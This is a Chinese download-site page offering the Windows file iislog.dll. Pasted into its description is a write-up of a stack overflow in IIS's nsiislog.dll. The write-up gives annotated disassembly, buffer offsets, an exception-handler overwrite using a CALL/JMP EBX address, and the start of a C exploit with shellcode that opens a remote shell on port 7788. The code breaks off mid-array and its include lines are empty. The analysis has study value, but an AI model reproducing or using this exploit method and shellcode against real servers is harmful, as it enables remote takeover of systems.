单机游戏下载单机游戏下载基地
最新游戏|热门游戏|游戏大全|游戏专题
备份还原硬件驱动系统优化搜索查找键盘鼠标磁盘工具数据恢复系统其它数据备份系统重装
当前位置:首页系统工具系统其他 → iislog.dll

iislog.dll

  • iislog.dll截图0
< >
iislog.dll下载
好玩 好玩 0
坑爹 坑爹 0
  • 应用语言:中文
  • 应用大小:28KB
  • 更新时间:2016-05-29 11:5
  • 发行时间:
  • 应用类型:普通
  • 应用标签: dll
搞服务器的朋友出现的一个问题,就是IISLOG.DLL缺失了,导致配置不正确。。小编也是复制了一个分享给了他,现在也分享给大家。IISLOG.DLL,IIS日志需要的动态链接库文件,存储位置:c:\windows\system32\inetsrv文件夹。IIS的NSIISLOG.DLL溢出问题分析溢出[更多]
应用介绍

搞服务器的朋友出现的一个问题,就是IISLOG.DLL缺失了,导致配置不正确。。小编也是复制了一个分享给了他,现在也分享给大家。

IISLOG.DLL,IIS日志需要的动态链接库文件,存储位置:c:\windows\system32\inetsrv文件夹。

IIS的NSIISLOG.DLL溢出问题分析

溢出漏洞原因分析:

    导致溢出的代码就在NSIISLOG.DLL中,如下

    .text:40F01B08                 mov     ecx, esi

    .text:40F01B0A                 call    dword ptr [eax+8]

    .text:40F01B0D                 push    eax            <----------------计算的POST数据长度

    .text:40F01B0E                 mov     ecx, ebx

    .text:40F01B10                 push    [ebp+arg_4]        <----------------POST数据的BUFFER

    .text:40F01B13                 call    sub_40F01EEE

    #########################################################################################################

    sub_40F01EEE函数内容:

    .text:40F01EEE                 push    ebp

    .text:40F01EEF                 mov     ebp, esp

    .text:40F01EF1                 mov     eax, 1104h

    .text:40F01EF6                 call    sub_40F02B80            〈-----------------分配缓冲区,按含ESP-0X1104的调用

    .text:40F01EFB                 push    ebx

    .text:40F01EFC                 push    esi

    .text:40F01EFD                 mov     ebx, [ebp+arg_4]

    .text:40F01F00                 push    edi                    〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度

    .text:40F01F01                 mov     edi, [ebp+arg_8]                            这里却传成了POST数据的长度

    .text:40F01F04                 or      ecx, 0FFFFFFFFh

    .text:40F01F07                 xor     eax, eax

    .text:40F01F09                 push    ebx

    .text:40F01F0A                 repne scasb

    .text:40F01F0C                 push    [ebp+arg_0]           〈----------------------我们POST的数据

    .text:40F01F0F                 lea     eax, [ebp+var_1104]

    .text:40F01F15                 not     ecx

    .text:40F01F17                 dec     ecx

    .text:40F01F18                 push    eax                   〈------------------------被溢出的缓冲区

    .text:40F01F19                 mov     [ebp+var_4], ecx

    .text:40F01F1C                 call    ds:strncpy             〈-----------------------导致溢出的调用

    ##############################################################################################################

    溢出原因:

    strncpy这个调用本来是安全函数调用的,原形是:

    strncpy(BUF1,BUF2,BUF1MAXLEN)

    但是在这个调用中,调用者误使这个函数的调用成如下方式了:

    strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。

    我们可以计算出返回地址的覆盖点是:

    0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。

    溢出攻击实现:

    但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。

    另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。

    那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常):

    考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。

    下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。

    这里再给大家分析一下为什么溢出异常结构之后要找CALL(JMP)EBX的原理

    首先异常结构链结构如下

    DWORD PNEXT      下一个异常结构地址指针

    DWORD FUNADDR    当前处理函数入口地址

    在KiUserExceptionDispatcher中的处理是如下方式的:

    77f8e4ca ff7304           push  dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c   <-------------EBX+4就是当前异常处理函数调用地址,EBX就是异常结构地址,由于可能要处理下一个异常链,所以EBX就保存了下来未做修改,这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL(JMP)EBX就可以到达我们可以控制的一个内存区域。

    77f8e4cd 8d45f0           lea     eax,[ebp-0x10]

    77f8e4d0 50               push    eax

    77f8e4d1 ff750c           push    dword ptr [ebp+0xc]

    77f8e4d4 53               push    ebx

    77f8e4d5 56               push    esi

    77f8e4d6 e83affffff       call    ntdll!RtlSetBits+0x305 (77f8e415)

    ###############################################################################

    77f8e42f ff7514           push    dword ptr [ebp+0x14]

    77f8e432 ff7510           push    dword ptr [ebp+0x10]

    77f8e435 ff750c           push    dword ptr [ebp+0xc]

    77f8e438 ff7508           push    dword ptr [ebp+0x8]

    77f8e43b 8b4d18           mov     ecx,[ebp+0x18]                           <-------------这里就是溢出的异常结构地址

    77f8e43e ffd1             call    ecx {nsiislog+0x135c (40f0135c)}

    ###############################################################################

    这里需要注意的是:找到的返回地址是在[ebx+4]上,而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过

    EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,使得只能连上无法执行指令,已修改),执行以后TELNET IP 7788

    ###############################################################################

    #include

    #include

    #include

    #include

    #include

    char        *hostName = NULL;

    unsigned char shellcode[]=

    "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"

    "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"

    &

下载地址

iislog.dll

  • dll文件大全
dll文件大全
(36)dll文件大全
dll是电脑系统中非常重要的文件,dll缺失或者损坏经常会在运行程序或启动游戏出现问题,表现症状为“计算机缺少xxx.dll”或“无法找到xxx.dll”等错误问题。这里给大家整理了一些常见的dll文件的下载以及一些dll修复更多>>

热门评论

最新评论

发表评论 查看所有评论(0)

昵称:
表情: 高兴 可 汗 我不要 害羞 好 下下下 送花 屎 亲亲
(您的评论需要经过审核才能显示)

配置需求

推荐专题

DLL修复工具DLL修复工具

关于飞翔 | 联系我们 | 大事记 | 下载帮助(?) | 广告联系 | 版权声明 | 网站地图 | 友情链接

Copyright 2010-2013 单机游戏下载 (R) 版权所有 飞翔下载所有游戏及软件下载资源来源互联网,并由网友上传分享。如有侵权,请来电来函告之。
飞翔忠告:抵制不良色情、反动、暴力游戏 合理安排游戏时间 享受健康生活【鄂ICP备13011873号-1】